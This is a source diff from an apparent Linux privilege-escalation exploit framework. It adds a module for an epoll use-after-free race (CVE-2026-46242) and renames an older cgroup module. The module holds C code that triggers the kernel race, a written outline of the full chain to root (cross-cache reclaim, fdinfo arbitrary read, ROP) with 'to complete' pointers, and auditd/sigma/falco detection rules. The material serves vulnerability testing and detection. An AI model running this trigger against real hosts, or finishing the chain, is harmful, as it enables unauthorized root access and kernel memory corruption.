`epoll_create1` / `epoll_ctl` / `close` is the steady-state behaviour of
|
||||
nginx, systemd, and every language runtime's event loop; the exploit
|
||||
looks identical and rarely trips KASAN. The shipped auditd/sigma/falco
|
||||
rules therefore key on the **post-exploitation** tell — an unprivileged
|
||||
process transitioning to euid 0 without a setuid `execve` — plus a
|
||||
recommendation to monitor kernel logs for oops/BUG lines. Expect false
|
||||
positives from legitimate privilege-management daemons and tune per
|
||||
environment. There is no yara rule (no file artifact). Treat this module
|
||||
as much as a *blue-team teaching case* — "here is a root LPE your existing
|
||||
stack is nearly blind to" — as an offensive one.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel (>= 7.0.13, or 7.1+). There is **no partial
|
||||
mitigation**: epoll cannot be disabled in practice, and no
|
||||
`unprivileged_userns_clone` / sysctl toggle closes this path the way it
|
||||
does for the netfilter bugs. `mitigate()` is `NULL` for that reason.
|
||||
|
||||
## Credit
|
||||
|
||||
Discovery, exploitation, and the public kernelCTF PoC:
|
||||
**Jaeyoung Chung** (`J-jaeyoung`). Upstream fix `a6dc643c6931`. See
|
||||
`NOTICE.md`.
|
||||
@@ -0,0 +1,70 @@
|
||||
# NOTICE — bad_epoll (CVE-2026-46242)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46242** — "Bad Epoll", a **race-condition use-after-free** in
|
||||
the Linux kernel epoll subsystem (`fs/eventpoll.c`). On the file-teardown
|
||||
path, `ep_remove()` clears `file->f_ep` under `file->f_lock` but continues
|
||||
to use the file inside the critical section (`hlist_del_rcu()` over the
|
||||
eventpoll `refs` list + `spin_unlock()`). A concurrent `__fput()` of a
|
||||
linked epoll file observes the transient `NULL` `f_ep`, skips
|
||||
`eventpoll_release_file()`, and proceeds to `f_op->release`, freeing a
|
||||
`struct eventpoll` still in use → UAF.
|
||||
|
||||
The bug is reachable by **any unprivileged local user** — `epoll_create1`,
|
||||
`epoll_ctl`, and `close` require no capability, no user namespace, and no
|
||||
special kernel config. Exploitation converts the 8-byte UAF write into
|
||||
control of a `struct file` via a cross-cache attack, gains arbitrary
|
||||
kernel read through `/proc/self/fdinfo`, and ROPs to a root shell —
|
||||
roughly 99% reliable despite a ~6-instruction race window. It also affects
|
||||
Android. NVD class: **CWE-416** (Use After Free), with a **CWE-362** race
|
||||
root cause. **Not** in CISA KEV (brand new).
|
||||
|
||||
## Research credit
|
||||
|
||||
- **Discovery, exploitation, and public PoC** by **Jaeyoung Chung**
|
||||
(GitHub `J-jaeyoung`), submitted as a zero-day to **Google's kernelCTF**
|
||||
program. Repository: <https://github.com/J-jaeyoung/bad-epoll> and the
|
||||
kernelCTF submission under
|
||||
`J-jaeyoung/security-research` (`CVE-2026-46242_lts_cos`, target
|
||||
`lts-6.12.67`). SKELETONKEY's trigger reconstruction is informed by that
|
||||
public PoC (the epoll object graph and the `ep_remove`-vs-`__fput`
|
||||
close-race shape only — no offsets or ROP are reused).
|
||||
- **Introduced** by commit `58c9b016e128` (Linux 6.4, 2023-04-08).
|
||||
- **Fixed upstream** by commit
|
||||
`a6dc643c69311677c574a0f17a3f4d66a5f3744b`, merged for **7.1-rc1**
|
||||
(2026-04-24); stable backport **7.0.13**.
|
||||
- Debian security tracker (authoritative backport versions):
|
||||
<https://security-tracker.debian.org/tracker/CVE-2026-46242> — forky
|
||||
`7.0.13-1` / sid `7.0.14-1` fixed; trixie 6.12.x still vulnerable at time
|
||||
of writing; bookworm 6.1 and bullseye 5.10 "not affected — vulnerable
|
||||
code not present".
|
||||
|
||||
All credit for finding, analysing, and exploiting this bug belongs to
|
||||
Jaeyoung Chung and to the upstream maintainers who fixed it. SKELETONKEY
|
||||
is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
|
||||
the corpus's first epoll / VFS-file-teardown module and its cleanest
|
||||
example of an SMP kernel race, shipped on the same "fire the bug class and
|
||||
stop" contract as `stackrot` (CVE-2023-3269) and `nft_catchall`
|
||||
(CVE-2026-23111).
|
||||
|
||||
`detect()` is a pure kernel-version gate (vulnerable iff `>= 6.4` and below
|
||||
the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not
|
||||
affected) — no userns or CONFIG precondition, because none is required.
|
||||
`exploit()` forks a CPU-pinned child that builds the epoll race pair and
|
||||
exercises the `ep_remove`-vs-`__fput` concurrent-close window a
|
||||
hard-bounded number of times (48 attempts / 2 s), widening it with
|
||||
`close(dup())` false-sharing storms, snapshots the eventpoll slab, and
|
||||
returns `EXPLOIT_FAIL`.
|
||||
|
||||
It is **deliberately under-driven**: a won race frees a live
|
||||
`struct eventpoll` (real corruption that rarely trips KASAN), so the module
|
||||
does not grind the race to a win, does not perform the cross-cache reclaim,
|
||||
and does not bundle the `/proc/self/fdinfo` arbitrary-read + ROP root-pop
|
||||
(per-build offsets refused). The trigger is reconstructed from the public
|
||||
kernelCTF PoC, not VM-verified — it never claims root it did not get. It
|
||||
carries the lowest `--auto` safety rank in the corpus.
|
||||
@@ -0,0 +1,434 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46242 — "Bad Epoll", a race-condition use-after-free in the
|
||||
* Linux kernel epoll subsystem (fs/eventpoll.c). On the file-teardown
|
||||
* path, ep_remove() clears file->f_ep under file->f_lock but keeps
|
||||
* *using* the file inside the critical section (the hlist_del_rcu() over
|
||||
* the eventpoll's refs list + spin_unlock). A concurrent __fput() of a
|
||||
* linked epoll file can observe the transient NULL f_ep, skip
|
||||
* eventpoll_release_file(), and go straight to f_op->release — freeing a
|
||||
* struct eventpoll that the first path is still walking. The result is a
|
||||
* UAF on a live kernel object reachable by ANY unprivileged local user:
|
||||
* epoll_create1(2) / epoll_ctl(2) / close(2) need no capability, no user
|
||||
* namespace, and no special CONFIG (epoll is always built in). That is
|
||||
* what makes it nasty — there is no unprivileged-userns stopgap to close
|
||||
* the way there is for the netfilter bugs; the only fix is to patch.
|
||||
*
|
||||
* Public exploit (Jaeyoung Chung / J-jaeyoung, "bad-epoll"), submitted
|
||||
* to Google's kernelCTF: four epoll objects in two pairs — one pair
|
||||
* drives the race, the other is the victim — turn the 8-byte UAF write
|
||||
* into control of a struct file via a cross-cache attack, then arbitrary
|
||||
* kernel read via /proc/self/fdinfo and a ROP chain to a root shell.
|
||||
* ~99% reliable despite a race window only ~6 instructions wide; it
|
||||
* rarely trips KASAN, which is precisely why the bug hid for three
|
||||
* years.
|
||||
*
|
||||
* CWE-416 (Use After Free) via CWE-362 (race). Introduced by commit
|
||||
* 58c9b016e128 (Linux 6.4, 2023-04-08); fixed by commit
|
||||
* a6dc643c69311677c574a0f17a3f4d66a5f3744b (merged for 7.1-rc1,
|
||||
* 2026-04-24), stable backport 7.0.13. NOT in CISA KEV (brand new).
|
||||
*
|
||||
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
|
||||
* This is a genuine SMP kernel race that, if *won*, frees a live
|
||||
* struct eventpoll — real memory corruption that (per the public
|
||||
* analysis) rarely trips KASAN, so a won-but-not-completed race can
|
||||
* silently destabilise a vulnerable host rather than cleanly oops.
|
||||
* For that reason this module is deliberately UNDER-DRIVEN: exploit()
|
||||
* builds the epoll object graph and exercises the concurrent-close
|
||||
* window (ep_remove vs __fput) a small, bounded number of times inside
|
||||
* a fork-isolated child, snapshots the eventpoll slab, and STOPS. It
|
||||
* does NOT grind the race to a win, does NOT perform the cross-cache
|
||||
* reclaim, and does NOT bundle the per-kernel fdinfo arbitrary-read +
|
||||
* ROP that lands root (per-build offsets refused). It returns
|
||||
* EXPLOIT_FAIL and never claims root it did not get. The trigger is
|
||||
* reconstructed from the public kernelCTF PoC, not VM-verified. This
|
||||
* is why it carries the lowest safety rank in --auto (a kernel race is
|
||||
* the least predictable class; see skeletonkey.c module_safety_rank).
|
||||
*
|
||||
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||
* >= 6.4 (the commit that introduced the bug) AND below the fix on its
|
||||
* branch (Debian: bookworm/6.1 and bullseye/5.10 are "not affected —
|
||||
* vulnerable code not present"; trixie/6.12 still vulnerable at time of
|
||||
* writing; forky/sid fixed at 7.0.13/7.0.14). No userns / CONFIG
|
||||
* precondition — any unprivileged user can reach it.
|
||||
*
|
||||
* Affected range (Debian security tracker, source of record):
|
||||
* introduced 6.4 (58c9b016e128); mainline fix in 7.1-rc1
|
||||
* (a6dc643c6931); stable backport 7.0.13. 6.6/6.12 LTS backports had
|
||||
* not landed at time of writing → version-only VULNERABLE there
|
||||
* (tools/refresh-kernel-ranges.py will extend the table as distros
|
||||
* publish). 6.1 and older predate the bug.
|
||||
*
|
||||
* arch_support: x86_64 (the cross-cache groom + any future finisher are
|
||||
* x86_64-tuned; detect() and the reachability trigger are arch-neutral
|
||||
* but we only claim x86_64 for exploit()).
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
#include <pthread.h>
|
||||
#include <signal.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/epoll.h>
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Kernel-range table. The fix landed mainline in 7.1-rc1
|
||||
* (a6dc643c6931); the only stable backport that had shipped at time of
|
||||
* writing is 7.0.13 (Debian forky 7.0.13-1 / sid 7.0.14-1). A single
|
||||
* {7,0,13} entry plus the ">= 6.4 introduced" gate below is sufficient:
|
||||
* kernel_range_is_patched() treats any branch strictly newer than every
|
||||
* entry (i.e. 7.1+) as patched-via-mainline, and every branch at or
|
||||
* below 7.0 with no exact entry (6.4..6.12, 7.0.<13) as still
|
||||
* vulnerable — which is exactly the Debian tracker's verdict. Add
|
||||
* 6.6.x / 6.12.x entries here when those LTS backports land (the drift
|
||||
* checker flags them). security-tracker.debian.org is the source.
|
||||
* ------------------------------------------------------------------ */
|
||||
static const struct kernel_patched_from bad_epoll_patched_branches[] = {
|
||||
{7, 0, 13}, /* 7.0.x (Debian forky 7.0.13-1 / sid 7.0.14-1); 7.1+ inherits */
|
||||
};
|
||||
|
||||
static const struct kernel_range bad_epoll_range = {
|
||||
.patched_from = bad_epoll_patched_branches,
|
||||
.n_patched_from = sizeof(bad_epoll_patched_branches) /
|
||||
sizeof(bad_epoll_patched_branches[0]),
|
||||
};
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The vulnerable ep_remove()/__fput() interleaving was introduced by
|
||||
* commit 58c9b016e128 in 6.4. Below that the code pattern is absent
|
||||
* (Debian marks bookworm/6.1 and bullseye/5.10 "not affected —
|
||||
* vulnerable code not present"). */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 4, 0)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: kernel %s predates the vulnerable "
|
||||
"epoll teardown path (introduced 6.4) — not affected\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (kernel_range_is_patched(&bad_epoll_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] bad_epoll: kernel %s is patched (>= 7.0.13 / "
|
||||
"7.1+ inherits the mainline fix)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: VULNERABLE — kernel %s in range "
|
||||
"[6.4, fix); epoll teardown race reachable by any "
|
||||
"unprivileged user (no userns / CONFIG gate)\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] bad_epoll: no unprivileged-userns stopgap applies "
|
||||
"here — the only fix is to patch the kernel\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Reconstructed reachability trigger (deliberately under-driven).
|
||||
*
|
||||
* Faithful minimal shape of the public PoC's race pair: a "waiter"
|
||||
* epoll watches a "target" epoll; the two are then closed concurrently
|
||||
* from CPU-pinned contexts so ep_remove() (driven by fput of the
|
||||
* watched target) races __fput() of the waiter eventpoll. The PoC
|
||||
* widens the ~6-instruction window with close(dup(target)) storms that
|
||||
* induce false-sharing on the file's f_count cache line and stall the
|
||||
* racer's read of f_op.
|
||||
*
|
||||
* We reproduce the OBJECT GRAPH and the CONCURRENT-CLOSE WINDOW with a
|
||||
* small iteration + wall-clock budget, then stop. We do NOT reclaim the
|
||||
* freed slab, do NOT run the depth-3 nesting oracle that only fires
|
||||
* after a real UAF write, and do NOT weaponise. The honest witness is
|
||||
* therefore coarse: a signal in the isolated child (a KASAN oops or
|
||||
* corruption fault, if the race happened to fire) and an eventpoll-slab
|
||||
* delta. Absence of a witness does NOT prove the host is safe.
|
||||
* ------------------------------------------------------------------ */
|
||||
#define BEP_RACE_ITERS 48 /* bounded — reachability probe, not a winner */
|
||||
#define BEP_DUP_CLOSE_ITERS 32 /* window-widening false-sharing storm */
|
||||
#define BEP_RACE_BUDGET_SECS 2 /* honest short cap (public PoC uses 5 min) */
|
||||
|
||||
static void bep_pin_cpu(int cpu)
|
||||
{
|
||||
cpu_set_t set;
|
||||
CPU_ZERO(&set);
|
||||
CPU_SET(cpu, &set);
|
||||
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||
}
|
||||
|
||||
struct bep_racer {
|
||||
int waiter_fd; /* fd the racer closes */
|
||||
atomic_int *go; /* fire signal from main */
|
||||
atomic_int *closed; /* set once the racer has closed */
|
||||
};
|
||||
|
||||
static void *bep_racer_fn(void *arg)
|
||||
{
|
||||
struct bep_racer *r = (struct bep_racer *)arg;
|
||||
bep_pin_cpu(0);
|
||||
/* Spin until main is at the close point, then race. */
|
||||
while (atomic_load_explicit(r->go, memory_order_acquire) == 0)
|
||||
;
|
||||
close(r->waiter_fd);
|
||||
atomic_store_explicit(r->closed, 1, memory_order_release);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static long bep_slabinfo_active(const char *slab)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
size_t n = strlen(slab);
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, slab, n) == 0 && line[n] == ' ') {
|
||||
long a;
|
||||
if (sscanf(line + n, " %ld", &a) == 1) active = a;
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* One race attempt: build (target, waiter) with waiter watching target,
|
||||
* then close both concurrently. Returns 0 normally; the interesting
|
||||
* outcome (a won race) manifests as a signal that the parent observes,
|
||||
* not a return value. */
|
||||
static void bep_one_attempt(void)
|
||||
{
|
||||
int target = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (target < 0) return;
|
||||
int waiter = epoll_create1(EPOLL_CLOEXEC);
|
||||
if (waiter < 0) { close(target); return; }
|
||||
|
||||
/* waiter watches target — this is the link that makes closing target
|
||||
* drive eventpoll_release_file()/ep_remove() over waiter's eventpoll. */
|
||||
struct epoll_event ev = { .events = EPOLLIN };
|
||||
ev.data.fd = target;
|
||||
if (epoll_ctl(waiter, EPOLL_CTL_ADD, target, &ev) < 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
atomic_int go = 0, closed = 0;
|
||||
struct bep_racer ra = { .waiter_fd = waiter, .go = &go, .closed = &closed };
|
||||
pthread_t th;
|
||||
if (pthread_create(&th, NULL, bep_racer_fn, &ra) != 0) {
|
||||
close(waiter); close(target); return;
|
||||
}
|
||||
|
||||
/* Widen the window: false-sharing storm on target's f_count line,
|
||||
* then release the racer and close target ourselves so ep_remove
|
||||
* (our fput of the watched file) overlaps __fput of the waiter. */
|
||||
for (int i = 0; i < BEP_DUP_CLOSE_ITERS; i++) {
|
||||
int d = dup(target);
|
||||
if (d >= 0) close(d);
|
||||
}
|
||||
atomic_store_explicit(&go, 1, memory_order_release);
|
||||
close(target);
|
||||
|
||||
pthread_join(th, NULL);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = bad_epoll_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] bad_epoll: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] bad_epoll: already running as root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] bad_epoll: reconstructed reachability probe — builds "
|
||||
"the epoll race pair and exercises the ep_remove vs __fput "
|
||||
"close window (%d bounded attempts, %ds cap), then stops. "
|
||||
"The cross-cache → struct file control → fdinfo arb-read → "
|
||||
"ROP root-pop is NOT bundled.\n",
|
||||
BEP_RACE_ITERS, BEP_RACE_BUDGET_SECS);
|
||||
|
||||
/* Fork-isolated: a won race frees a live struct eventpoll. On a
|
||||
* KASAN kernel that oopses (contained to the child); on a plain
|
||||
* vulnerable kernel it may corrupt — which is exactly why we bound
|
||||
* the attempt count hard and never reclaim. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
bep_pin_cpu(1);
|
||||
long before = bep_slabinfo_active("eventpoll");
|
||||
if (before < 0) before = bep_slabinfo_active("kmalloc-192");
|
||||
|
||||
time_t deadline = time(NULL) + BEP_RACE_BUDGET_SECS;
|
||||
int done = 0;
|
||||
for (int i = 0; i < BEP_RACE_ITERS && time(NULL) < deadline; i++) {
|
||||
bep_one_attempt();
|
||||
done = i + 1;
|
||||
}
|
||||
|
||||
long after = bep_slabinfo_active("eventpoll");
|
||||
if (after < 0) after = bep_slabinfo_active("kmalloc-192");
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: %d close-race attempts fired; "
|
||||
"eventpoll/kmalloc-192 active: %ld → %ld\n",
|
||||
done, before, after);
|
||||
_exit(100); /* honest: window exercised, race not driven to a win */
|
||||
}
|
||||
|
||||
int status;
|
||||
waitpid(child, &status, 0);
|
||||
if (WIFSIGNALED(status)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] bad_epoll: child died by signal %d — the epoll "
|
||||
"teardown race may have fired (KASAN oops / corruption "
|
||||
"fault). This is the bug, but no root was obtained.\n",
|
||||
WTERMSIG(status));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 100) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] bad_epoll: race window exercised (reconstructed "
|
||||
"primitive). Full chain is NOT bundled and the trigger "
|
||||
"is not VM-verified — honest EXPLOIT_FAIL.\n");
|
||||
fprintf(stderr, "[i] bad_epoll: to complete: port the public kernelCTF "
|
||||
"cross-cache reclaim (eventpoll slab → pipe buffers) + "
|
||||
"/proc/self/fdinfo arbitrary read + ROP for "
|
||||
"CVE-2026-46242.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] bad_epoll: probe setup failed (child rc=%d)\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
static skeletonkey_result_t bad_epoll_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] bad_epoll: Linux-only module (epoll teardown race "
|
||||
"UAF) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t bad_epoll_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] bad_epoll: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules -----
|
||||
*
|
||||
* Honesty note (see MODULE.md): epoll is one of the most heavily used
|
||||
* kernel interfaces on Earth. epoll_create1 / epoll_ctl / close from an
|
||||
* unprivileged process is the steady-state behaviour of nginx, systemd,
|
||||
* every language runtime's event loop, etc. There is NO clean behavioural
|
||||
* signature for this exploit, and it rarely trips KASAN. These rules are
|
||||
* therefore intentionally weak/structural — the reliable signal is the
|
||||
* post-exploitation privilege transition, not the epoll traffic. Tune
|
||||
* hard or you will drown in false positives.
|
||||
*/
|
||||
static const char bad_epoll_auditd[] =
|
||||
"# Bad Epoll — epoll teardown race UAF (CVE-2026-46242) — auditd rules\n"
|
||||
"# There is no high-fidelity syscall signature: epoll_create1/epoll_ctl\n"
|
||||
"# are ubiquitous and benign. The only reliable smoking gun is an\n"
|
||||
"# unprivileged process transitioning to euid 0 without going through a\n"
|
||||
"# setuid binary. Pair with kernel-log monitoring for KASAN/oops lines.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n"
|
||||
"-a always,exit -F arch=b64 -S setuid -F a0=0 -F auid>=1000 -F auid!=4294967295 -k skeletonkey-bad-epoll-priv\n";
|
||||
|
||||
static const char bad_epoll_sigma[] =
|
||||
"title: Possible CVE-2026-46242 Bad Epoll teardown race UAF\n"
|
||||
"id: 7c1e9d2a-skeletonkey-bad-epoll\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) is a race UAF in fs/eventpoll.c reachable\n"
|
||||
" by any unprivileged user via epoll_create1/epoll_ctl/close. There is\n"
|
||||
" no reliable syscall-level signature — epoll traffic is ubiquitous and\n"
|
||||
" the exploit rarely trips KASAN. This rule keys on the POST-exploitation\n"
|
||||
" tell: a previously-unprivileged process gaining euid 0 with no setuid\n"
|
||||
" execve in its ancestry. Expect false positives from legitimate\n"
|
||||
" privilege-management daemons; correlate with kernel oops/BUG lines.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" uid0: {type: 'SYSCALL', syscall: 'setresuid', a0: 0, a1: 0, a2: 0}\n"
|
||||
" unpriv: {auid|expression: '>= 1000'}\n"
|
||||
" condition: uid0 and unpriv\n"
|
||||
"level: medium\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46242]\n";
|
||||
|
||||
static const char bad_epoll_falco[] =
|
||||
"- rule: Unprivileged process gained root, no setuid exec (possible CVE-2026-46242)\n"
|
||||
" desc: |\n"
|
||||
" Bad Epoll (CVE-2026-46242) epoll teardown race UAF has no clean\n"
|
||||
" behavioural signature — epoll syscalls are ubiquitous. This rule\n"
|
||||
" fires on the post-exploitation effect: a non-root process becoming\n"
|
||||
" root outside a setuid binary. False positives: privilege-management\n"
|
||||
" daemons, su/sudo flows (filter those). Correlate with kernel oops.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (setuid, setresuid) and evt.arg.uid = 0 and\n"
|
||||
" not proc.is_setuid = true and user.uid != 0\n"
|
||||
" output: >\n"
|
||||
" Non-setuid unprivileged->root transition (possible CVE-2026-46242 Bad Epoll)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46242]\n";
|
||||
|
||||
const struct skeletonkey_module bad_epoll_module = {
|
||||
.name = "bad_epoll",
|
||||
.cve = "CVE-2026-46242",
|
||||
.summary = "epoll ep_remove-vs-__fput teardown race UAF (\"Bad Epoll\") — frees a live struct eventpoll; unprivileged, no userns needed",
|
||||
.family = "eventpoll",
|
||||
.kernel_range = "6.4 <= K < fix (introduced 58c9b016e128 / 6.4); fixed a6dc643c6931 (7.1-rc1), stable backport 7.0.13; 6.6/6.12 LTS backports pending; 6.1 and older not affected",
|
||||
.detect = bad_epoll_detect,
|
||||
.exploit = bad_epoll_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel — no unprivileged-userns/CONFIG stopgap applies (epoll needs none) */
|
||||
.cleanup = NULL, /* trigger creates only throwaway epoll fds in a fork-isolated child; no host artifacts */
|
||||
.detect_auditd = bad_epoll_auditd,
|
||||
.detect_sigma = bad_epoll_sigma,
|
||||
.detect_yara = NULL, /* pure in-kernel race — no file artifact to match */
|
||||
.detect_falco = bad_epoll_falco,
|
||||
.opsec_notes = "detect() is a pure kernel-version gate (vulnerable iff >= 6.4 introduced AND below the fix on-branch; stable backport 7.0.13, 7.1+ inherits; 6.1/5.10 not affected) — no userns or CONFIG probe, because epoll is reachable by every unprivileged user. exploit() forks a CPU-pinned child that builds the epoll race pair (a waiter eventpoll watching a target eventpoll) and exercises the ep_remove-vs-__fput concurrent-close window a hard-bounded number of times (48 attempts / 2s), widening it with close(dup()) false-sharing storms, snapshots the eventpoll/kmalloc-192 slab, and returns EXPLOIT_FAIL. It is deliberately UNDER-DRIVEN: it does not grind the race to a win, does not perform the cross-cache reclaim, and does not bundle the /proc/self/fdinfo arbitrary-read + ROP root-pop (per-kernel offsets refused); the trigger is reconstructed from the public kernelCTF PoC, not VM-verified. Telemetry footprint is nearly invisible: a burst of epoll_create1/epoll_ctl/dup/close from one process (indistinguishable from any event-loop program) and, only if the race actually fires on a vulnerable host, a possible KASAN oops or silent corruption (the bug rarely trips KASAN). No persistent files. The reliable detection signal is the post-exploitation euid-0 transition, not the epoll activity — see the shipped rules. Lowest --auto safety rank in the corpus: a kernel race that frees a live struct file is the least predictable thing here.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_bad_epoll(void)
|
||||
{
|
||||
skeletonkey_register(&bad_epoll_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* bad_epoll_cve_2026_46242 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
#define BAD_EPOLL_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module bad_epoll_module;
|
||||
|
||||
#endif
|
||||
@@ -16,7 +16,7 @@ Original writeup:
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
+153
-70
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
||||
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||
*
|
||||
* cgroup v1 release_agent file is checked only for "is the writer
|
||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||
@@ -36,9 +36,8 @@
|
||||
* exposure even if all the fancy heap-spray bugs are patched.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -46,6 +45,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -53,6 +57,12 @@
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
/* CLONE_NEWCGROUP is not always in the toolchain's <sched.h>. */
|
||||
#ifndef CLONE_NEWCGROUP
|
||||
#define CLONE_NEWCGROUP 0x02000000
|
||||
#endif
|
||||
#define CGRA_CLONE_NEWCGROUP CLONE_NEWCGROUP
|
||||
|
||||
